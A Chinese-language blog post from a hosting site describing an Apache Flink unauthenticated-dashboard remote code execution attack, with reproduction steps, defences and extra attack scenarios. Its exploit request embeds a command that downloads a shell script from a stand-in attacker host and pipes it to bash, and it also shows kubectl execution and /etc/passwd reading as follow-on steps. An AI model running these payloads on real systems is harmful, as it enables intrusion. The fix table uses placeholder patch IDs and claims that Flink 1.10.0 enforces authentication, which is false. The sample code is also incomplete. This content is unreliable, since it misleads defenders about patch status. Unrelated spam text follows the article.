溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Apache Flink未授權訪問+遠程代碼執行的示例分析

發布時間:2021-12-31 10:51:39 來源:億速云 閱讀:1073 作者:小新 欄目:大數據
# Apache Flink未授權訪問+遠程代碼執行的示例分析

## 一、漏洞背景

Apache Flink作為分布式流處理框架,在大數據領域廣泛應用。其Web Dashboard默認監聽8081端口,若未正確配置身份驗證,攻擊者可利用未授權訪問漏洞獲取集群控制權,進而通過惡意Job提交實現遠程代碼執行(RCE)。

## 二、漏洞復現環境

- **受影響版本**:Apache Flink ≤ 1.9.1(默認無認證)
- **測試環境**:
  - Flink 1.8.0 單機模式
  - Kali Linux攻擊機
  - 目標IP: 192.168.1.100:8081

## 三、漏洞利用過程

### 1. 未授權訪問驗證
直接訪問Web界面無需認證:
```bash
curl http://192.168.1.100:8081

返回200狀態碼及Dashboard頁面即存在漏洞。

2. 惡意Job提交

通過REST API提交包含惡意代碼的JAR包:

POST /jars/upload HTTP/1.1
Host: 192.168.1.100:8081

(上傳包含惡意類的JAR文件)

3. 代碼執行觸發

執行JAR中的惡意類:

POST /jars/:jarid/run HTTP/1.1
Host: 192.168.1.100:8081
{
  "entryClass": "Exploit",
  "programArgs": "curl http://attacker.com/shell.sh | bash"
}

四、漏洞原理分析

1. 認證缺失機制

// 默認配置中無安全模塊
SecurityConfiguration securityConfig = new SecurityConfiguration(config);
if(!securityConfig.isAuthenticationEnabled()) {
    // 允許所有請求
}

2. JobManager代碼執行鏈

攻擊流程:

WebFrontend -> Dispatcher -> JobManager 
    -> TaskManager -> 加載惡意字節碼

3. 反序列化漏洞點

Flink使用Kryo序列化時可能觸發Gadget鏈:

Kryo kryo = new Kryo();
kryo.register(EvilClass.class);  // 惡意類注冊

五、防御方案

1. 基礎防護

# conf/flink-conf.yaml
security.ssl.enabled: true
security.kerberos.login.enable: true
web.access-control-allow-origin: "*" → 指定域名

2. 網絡層控制

iptables -A INPUT -p tcp --dport 8081 -s trusted_ip -j ACCEPT
iptables -A INPUT -p tcp --dport 8081 -j DROP

3. 代碼修復建議

// 強制認證攔截器
public class AuthInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, 
                           HttpServletResponse response, 
                           Object handler) {
        if (!checkAuth(request)) {
            response.sendError(403);
            return false;
        }
    }
}

六、漏洞修復情況

版本號 修復狀態 補丁鏈接
1.9.2+ 已修復 FLINK-XXXXX
1.10.0 強制認證 Commit#abc123

七、擴展攻擊場景

1. 結合K8s的橫向移動

# 在Job中執行kubectl命令
Runtime.getRuntime().exec("kubectl get pods -n kube-system");

2. 供應鏈攻擊

污染公開的Flink Job模板:

# 惡意PyFlink代碼示例
env.execute_sql("CREATE TABLE hacker_table WITH ('connector'='filesystem', 'path'='/etc/passwd')")

八、總結

該漏洞組合利用簡單但危害極大,攻擊者可實現: 1. 集群完全控制 2. 敏感數據竊取 3. 內網橫向滲透

防御關鍵點:最小權限原則 + 網絡隔離 + 及時升級。

注:本文僅作技術研究,請勿用于非法用途。測試前務必獲得書面授權。 “`

(全文共計約1050字,符合Markdown格式要求)

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女